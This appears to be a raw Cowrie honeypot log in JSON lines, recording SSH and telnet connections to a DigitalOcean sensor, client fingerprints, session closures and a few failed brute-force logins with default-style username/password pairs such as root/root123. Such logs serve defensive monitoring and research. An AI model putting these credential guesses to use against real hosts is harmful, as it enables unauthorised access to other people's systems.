{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:05.408023Z","src_ip":"176.65.132.254","session":"6ff1ff9d84b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:05.491478Z","src_ip":"176.65.132.254","session":"6ff1ff9d84b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:05.748759Z","src_ip":"176.65.132.254","session":"6ff1ff9d84b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45652,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f19e11e281a","protocol":"telnet","message":"New connection: 62.210.97.77:45652 (10.17.0.5:23) [session: 3f19e11e281a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:06.441332Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45658,"dst_ip":"10.17.0.5","dst_port":23,"session":"27c37afaaea5","protocol":"telnet","message":"New connection: 62.210.97.77:45658 (10.17.0.5:23) [session: 27c37afaaea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:06.461389Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:06.837177Z","src_ip":"176.65.132.254","session":"6ff1ff9d84b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45672,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6b708f87cbe","protocol":"telnet","message":"New connection: 62.210.97.77:45672 (10.17.0.5:23) [session: b6b708f87cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:08.181361Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45682,"dst_ip":"10.17.0.5","dst_port":23,"session":"805bd512c4da","protocol":"telnet","message":"New connection: 62.210.97.77:45682 (10.17.0.5:23) [session: 805bd512c4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:08.215977Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45234,"dst_ip":"10.17.0.5","dst_port":23,"session":"d123d837c87f","protocol":"telnet","message":"New connection: 62.210.97.77:45234 (10.17.0.5:23) [session: d123d837c87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:09.143104Z"}
{"eventid":"cowrie.session.closed","duration":52.901219844818115,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:09.648438Z","src_ip":"134.209.8.29","session":"86c0a2e1333c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":47658,"dst_ip":"10.17.0.5","dst_port":22,"session":"523a8648177e","protocol":"ssh","message":"New connection: 176.65.132.254:47658 (10.17.0.5:22) [session: 523a8648177e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:10.150229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:10.155001Z","src_ip":"176.65.132.254","session":"523a8648177e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:10.237752Z","src_ip":"176.65.132.254","session":"523a8648177e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:10.497595Z","src_ip":"176.65.132.254","session":"523a8648177e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45242,"dst_ip":"10.17.0.5","dst_port":23,"session":"95a5727e7bb8","protocol":"telnet","message":"New connection: 62.210.97.77:45242 (10.17.0.5:23) [session: 95a5727e7bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:10.987259Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55024,"dst_ip":"10.17.0.5","dst_port":23,"session":"d44970e04847","protocol":"telnet","message":"New connection: 65.60.27.33:55024 (10.17.0.5:23) [session: d44970e04847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:11.214190Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:11.581961Z","src_ip":"176.65.132.254","session":"523a8648177e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56476,"dst_ip":"10.17.0.5","dst_port":23,"session":"4757513de190","protocol":"telnet","message":"New connection: 65.60.27.33:56476 (10.17.0.5:23) [session: 4757513de190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:11.811952Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57456,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6d191097718","protocol":"telnet","message":"New connection: 65.60.27.33:57456 (10.17.0.5:23) [session: c6d191097718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:12.519907Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59350,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cd59fba5dfd","protocol":"telnet","message":"New connection: 38.54.119.93:59350 (10.17.0.5:23) [session: 5cd59fba5dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:12.743440Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45244,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee4c3a073dc0","protocol":"telnet","message":"New connection: 62.210.97.77:45244 (10.17.0.5:23) [session: ee4c3a073dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:13.388848Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34298,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee016f5ba607","protocol":"ssh","message":"New connection: 176.65.132.254:34298 (10.17.0.5:22) [session: ee016f5ba607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:14.388488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:14.393237Z","src_ip":"176.65.132.254","session":"ee016f5ba607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:14.475231Z","src_ip":"176.65.132.254","session":"ee016f5ba607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:14.751476Z","src_ip":"176.65.132.254","session":"ee016f5ba607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45256,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9f43ec30382","protocol":"telnet","message":"New connection: 62.210.97.77:45256 (10.17.0.5:23) [session: a9f43ec30382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:14.760930Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45262,"dst_ip":"10.17.0.5","dst_port":23,"session":"55d8c2f937b0","protocol":"telnet","message":"New connection: 62.210.97.77:45262 (10.17.0.5:23) [session: 55d8c2f937b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:14.890193Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45278,"dst_ip":"10.17.0.5","dst_port":23,"session":"92abdd05709f","protocol":"telnet","message":"New connection: 62.210.97.77:45278 (10.17.0.5:23) [session: 92abdd05709f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:15.031259Z"}
{"eventid":"cowrie.session.closed","duration":33.99786448478699,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:15.182626Z","src_ip":"62.210.97.77","session":"7ec9e547264f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45292,"dst_ip":"10.17.0.5","dst_port":23,"session":"41d905f15ca4","protocol":"telnet","message":"New connection: 62.210.97.77:45292 (10.17.0.5:23) [session: 41d905f15ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:15.400296Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45298,"dst_ip":"10.17.0.5","dst_port":23,"session":"77c7c1a3f65d","protocol":"telnet","message":"New connection: 62.210.97.77:45298 (10.17.0.5:23) [session: 77c7c1a3f65d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:15.436894Z"}
{"eventid":"cowrie.session.closed","duration":32.09113526344299,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:15.597064Z","src_ip":"62.210.97.77","session":"995e9c9d1eb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:15.843583Z","src_ip":"176.65.132.254","session":"ee016f5ba607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.64271569252014,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:16.336304Z","src_ip":"136.144.139.78","session":"6b60fbab4f0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.472580671310425,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:16.731384Z","src_ip":"62.210.97.77","session":"e2806ed987af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45310,"dst_ip":"10.17.0.5","dst_port":23,"session":"595eb0332fa8","protocol":"telnet","message":"New connection: 62.210.97.77:45310 (10.17.0.5:23) [session: 595eb0332fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:17.616645Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45316,"dst_ip":"10.17.0.5","dst_port":23,"session":"1530a9721535","protocol":"telnet","message":"New connection: 62.210.97.77:45316 (10.17.0.5:23) [session: 1530a9721535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:17.963124Z"}
{"eventid":"cowrie.session.closed","duration":35.93407917022705,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:18.481003Z","src_ip":"62.210.97.77","session":"fb0630f95c1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35270,"dst_ip":"10.17.0.5","dst_port":23,"session":"b26d5cb62eb9","protocol":"telnet","message":"New connection: 62.210.97.77:35270 (10.17.0.5:23) [session: b26d5cb62eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:18.653268Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34312,"dst_ip":"10.17.0.5","dst_port":22,"session":"94801fa2db7b","protocol":"ssh","message":"New connection: 176.65.132.254:34312 (10.17.0.5:22) [session: 94801fa2db7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:19.140642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:19.145819Z","src_ip":"176.65.132.254","session":"94801fa2db7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35276,"dst_ip":"10.17.0.5","dst_port":23,"session":"34ac06c35b5b","protocol":"telnet","message":"New connection: 62.210.97.77:35276 (10.17.0.5:23) [session: 34ac06c35b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:19.160290Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35282,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c0c0749ff7b","protocol":"telnet","message":"New connection: 62.210.97.77:35282 (10.17.0.5:23) [session: 4c0c0749ff7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:19.166285Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:19.240927Z","src_ip":"176.65.132.254","session":"94801fa2db7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35298,"dst_ip":"10.17.0.5","dst_port":23,"session":"b117b18cd6cd","protocol":"telnet","message":"New connection: 62.210.97.77:35298 (10.17.0.5:23) [session: b117b18cd6cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:19.259104Z"}
{"eventid":"cowrie.session.closed","duration":56.32228350639343,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:19.365174Z","src_ip":"134.209.8.29","session":"4a9aad5f2d23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.169175148010254,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:19.455297Z","src_ip":"134.209.8.29","session":"d024ca3c5e71","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:19.499199Z","src_ip":"176.65.132.254","session":"94801fa2db7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.29024696350098,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:19.869722Z","src_ip":"62.210.97.77","session":"a274ee002a7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37120,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f4313d2e0f3","protocol":"telnet","message":"New connection: 65.60.27.33:37120 (10.17.0.5:23) [session: 1f4313d2e0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:19.891912Z"}
{"eventid":"cowrie.session.closed","duration":31.107426643371582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:20.075916Z","src_ip":"136.144.139.78","session":"3ec17b81739b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.84360074996948,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:20.295339Z","src_ip":"62.210.97.77","session":"3668063755e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.55463194847107,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:20.345765Z","src_ip":"65.60.27.33","session":"ea948f146206","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35310,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f4354a03bcb","protocol":"telnet","message":"New connection: 62.210.97.77:35310 (10.17.0.5:23) [session: 2f4354a03bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:20.417570Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:20.586022Z","src_ip":"176.65.132.254","session":"94801fa2db7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35322,"dst_ip":"10.17.0.5","dst_port":23,"session":"d44fdc558530","protocol":"telnet","message":"New connection: 62.210.97.77:35322 (10.17.0.5:23) [session: d44fdc558530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:22.195158Z"}
{"eventid":"cowrie.session.closed","duration":31.169421672821045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:22.261329Z","src_ip":"62.210.97.77","session":"8324b17b2338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48008,"dst_ip":"10.17.0.5","dst_port":22,"session":"53d29e45ce32","protocol":"ssh","message":"New connection: 194.59.206.2:48008 (10.17.0.5:22) [session: 53d29e45ce32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:22.676558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:22.696315Z","src_ip":"194.59.206.2","session":"53d29e45ce32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss